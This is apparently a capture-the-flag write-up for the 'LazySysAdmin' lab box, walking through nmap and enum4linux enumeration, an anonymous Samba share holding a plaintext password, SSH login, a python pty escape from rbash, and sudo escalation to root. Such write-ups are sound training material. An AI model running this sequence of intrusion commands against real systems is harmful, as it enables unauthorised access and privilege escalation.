I just finished a fun box called "LazySysAdmin," and it was a perfect example of how a chain of simple, "lazy" misconfigurations can lead to a full system compromise. Here's my step-by-step path from initial scan to the root flag.

1. Initial Scan: Finding the Doors

As always, I started with an Nmap scan to see what services the machine was offering.

┌──(root㉿kali)-[/home/kali/lazy]
└─# nmap -sV -sC -oN nmap 192.168.100.47

Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-28 14:26 EDT
Nmap scan report for 192.168.100.47
Host is up (0.0016s latency).
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu
3306/tcp open  mysql       MySQL (unauthorized)
6667/tcp open  irc         InspIRCd
...
Host script results:
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
...

The Nmap scan gave me several key pieces of information:

2. Foothold: A User and a Lazy Password

Given the open Samba ports, my next step was to run enum4linux to perform a deep dive on the service. This is where I got my first big break.

┌──(root㉿kali)-[/home/kali/lazy]
└─# enum4linux 192.168.100.47
...
User "togie"
...

enum4linux successfully enumerated the users on the box and found a user named togie.

Now I had a username. I still needed a password. The Nmap scan showed a guest account, so I checked for any anonymous shares I could access.

┌──(root㉿kali)-[/home/kali/lazy]
└─# smbclient -L //192.168.100.47 -N
        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        share$          Disk      Sumshare
        IPC$            IPC       IPC Service (Web server)

The share$ looked promising. I connected to it anonymously and found a goldmine.

┌──(root㉿kali)-[/home/kali/lazy]
└─# smbclient //192.168.100.47/share$ -N
smb: \> ls
  ...
  deets.txt                           N      139  Mon Aug 14 08:20:05 2017
  ...

A file named deets.txt on an anonymous share? This is the definition of "lazy." I immediately downloaded it.

smb: \> get deets.txt
...
┌──(root㉿kali)-[/home/kali/lazy]
└─# cat deets.txt
CBF Remembering all these passwords.

Remember to remove this file and update your password after we push out the server.

Password 12345

This was it. I had a username (togie) and a password (12345). I immediately used them to log in via SSH.

┌──(root㉿kali)-[/home/kali/lazy]
└─# ssh togie@192.168.100.47
togie@192.168.100.47's password: 12345
...
togie@LazySysAdmin:~$

I was in!

3. The "Jail": Escaping a Restricted Shell

My initial celebration was short-lived. I quickly discovered I was in a restricted shell (rbash).

togie@LazySysAdmin:~$ ls
togie@LazySysAdmin:~$ cd ..
-rbash: cd: restricted
togie@LazySysAdmin:~$ cd /tmp
-rbash: cd: restricted
togie@LazySysAdmin:~$ /bin/bash
-rbash: /bin/bash: restricted: cannot specify `/' in command names

This shell is a "jail" designed to limit what I can do. I couldn't change directories or run any command that contained a slash (/), which is a major problem.

However, the "lazy" theme continued. I checked if any common interpreters were in my $PATH.

togie@LazySysAdmin:~$ which python
/usr/bin/python

Bingo. If you can run Python, you can escape rbash. I used Python's pty module to spawn a full, unrestricted /bin/bash shell.

togie@LazySysAdmin:~$ python
>>> import pty
>>> pty.spawn("/bin/bash")
togie@LazySysAdmin:~$ whoami
togie
togie@LazySysAdmin:~$ cd /tmp
togie@LazySysAdmin:/tmp$

The jail was broken. I was now in a normal shell.

4. Privilege Escalation: The 'ALL:ALL' Jackpot

Now that I had a proper shell, my very next step was to check my sudo privileges.

togie@LazySysAdmin:~$ sudo -l
[sudo] password for togie: 12345
Matching Defaults entries for togie on LazySysAdmin:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User togie may run the following commands on LazySysAdmin:
    (ALL : ALL) ALL

This is the ultimate prize in privilege escalation: (ALL : ALL) ALL. This means the user togie can run any command as any user (including root) without even being prompted for a password again.

The "Lazy SysAdmin" strikes again!

5. Rooted: Reading the Flag

From here, the box was owned. I just had to ask sudo for a root shell.

togie@LazySysAdmin:~$ sudo su
root@LazySysAdmin:~# whoami
root

And just like that, I was root. I navigated to the root directory and claimed the final prize.

root@LazySysAdmin:~# cat /root/proof.txt
WX6k7NJtA8gfk*w5J3&T@*Ga6!0o5UP89hMVEQ#PT9851


Well done :)

Hope you learn't a few things along the way.

Regards,

Togie Mcdogie

Key Takeaways

This box was a fantastic lesson in enumeration and "lazy" security practices.

  1. Enumerate Everything: enum4linux found the user, and smbclient found the password.
  2. Look for Misconfigurations: An anonymous Samba share with sensitive files is a critical finding.
  3. Know Your Escapes: A restricted shell is only as good as its restrictions. A single allowed command like python, vi, or find can be a key to the outside.
  4. Always Check sudo -l: It's the fastest path to root, and you'd be surprised how often it's misconfigured.
← all walkthroughs